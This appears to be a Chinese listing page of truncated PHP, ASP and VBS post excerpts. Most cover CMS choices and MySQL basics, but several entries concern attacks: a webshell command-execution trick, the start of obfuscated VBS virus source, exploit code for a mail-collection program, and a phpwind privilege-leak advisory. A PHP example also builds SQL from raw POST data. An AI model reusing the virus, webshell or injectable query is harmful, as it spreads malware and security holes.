2020-02-16 标签:十二个,常见,php,mysql,免费,cms,系统,dedecms,一款,国内,开源,作者,一个个,做出,功能,相当,不错

1. DEDECMS 一款国内开源的cms，作者是一个个人，能做出如此功能的cms，是相当不错的。2007版功能十分强大，希望能改善之前数据量一大，更新静态页就很慢的缺点。因为开源，有较多的玩家和拥护者。非常适合有一定编程基础的站长。 官方网站： dedecms.com 2. phpcms 一个综合

2020-02-16 标签:php,asp,利用,shell,application,执行,程序,代码,今天,试了,open,也可以,如下,好像,还没有,webshell,中看,相关,方法,实现

今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法 实现代码如下：open("c:\\windows\\system32\\notepad.exe"); //没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用Shell

2020-02-16 标签:asp,数据库,需要,读取,才打,细心,开发人员,有时会,想到,读写,页面,包含,类似,include,file,conn,代码,当你,进行

细心的开发人员有时会想到，我们在一个需要读写数据库的页面里包含类似 的代码时，当你没有进行读取操作，数据库究竟是怎么样的状态呢？那么，我们有没有办法让数据库连接仅在需要读取数据库时才打开，不读取时就没有任何动作呢，以下即提供这种思路，以求抛砖引玉。这种思路即是将数据库连接代码封装在函数里，在需要读取

2020-02-16 标签:vbs,病毒,源文件,rem,rhl,dim,fs,r,ss,w,reg,regpath,dvbs,ddd,set,chr,67,reate,obj,101

rem vbs.rhl Dim fs,r,ss,w,reg,regpath,dvbs ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40)

2020-02-16 标签:vbs,循环,产生,参数,传递,问题,set,objfso,scripting,objfile,d,txt,wshshell,wscript,shell

Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile("d:\1\0.txt", 1) set WshShell = WScript.CreateObject("WScript

2020-02-16 标签:伯乐,asp,收信,程序,漏洞,利用,代码,http,forum,eviloctal,com,thread,32151,html,又有,会员,pm,加上

http://forum.eviloctal.com/thread-32151-1-1.html之后又有会员PM我..加上事过已久..也不是什么保密的东西了..网上也许到处都是了..就考虑把东西发出来..算是个学习吧..伯乐的收信程序(针对以前的老版本.后来修补了这个漏洞)主数据库名第一次使用设置时

2020-02-16 标签:php,mysql,索引,问题,显然,凡是,使用,朋友,都会,遇到,回忆,当初,配置,环境,提到,gui,工具,对了,大家,http

显然这是一个凡是使用MySQL的朋友都会遇到的问题。回忆一下当初在配置环境时提到的MySQL GUI工具，对了，就是它，大家可以到http://www.mysql.com中找到它。因为sunec也只是一名程序爱好者，远没有达到程序员水平，所以借助一些工具的帮助还是很有必要的~相信一些朋友也和我一样~

2020-02-16 标签:php,insert,语法,详解,上次,程序,一句话,exec,info,ename,pcname,values,post,解释一下,这句话,意义,sql,插入,记录

上次程序中有这么一句话： $exec="insert into info (ename,pcname) values ('".$_POST["ename"]."','".$_POST["pcname"]."')";解释一下这句话的意义。SQL插入记录的语法是：insert into 表名 (字段名1

2020-02-16 标签:php,添加,mysql,数据,记录,代码,首先,建立,查询,页面,实现,如下,html,head,body,h,form,action,add

首先建立查询页面： 实现代码如下：添加记录员工姓名：PC名称：大家应该还记得，在之前的专题中已经介绍过PHP页面之间如何传值的技术。同样，在这个页面里，当我们单击提交后，我们将把ename与pcname这两个参数通过post的方法传递给add_finish.php页面。接下来是最重要的，让我们来看看

2020-02-16 标签:phpwind,管理权限,泄露,漏洞,利用,程序,发布,http,www,80,sec,com,作者,jianxin,厂商,影响,版本,危害

漏洞发布：http://www.80sec.com/漏洞作者：jianxin@80sec.com漏洞厂商： http://www.phpwind.com/ 本漏洞影响phpwind所有版本漏洞危害：高漏洞说明：phpwind是国内使用非常广泛的一款程序，由于在程序设计上存在错误，导致任何人可以取得前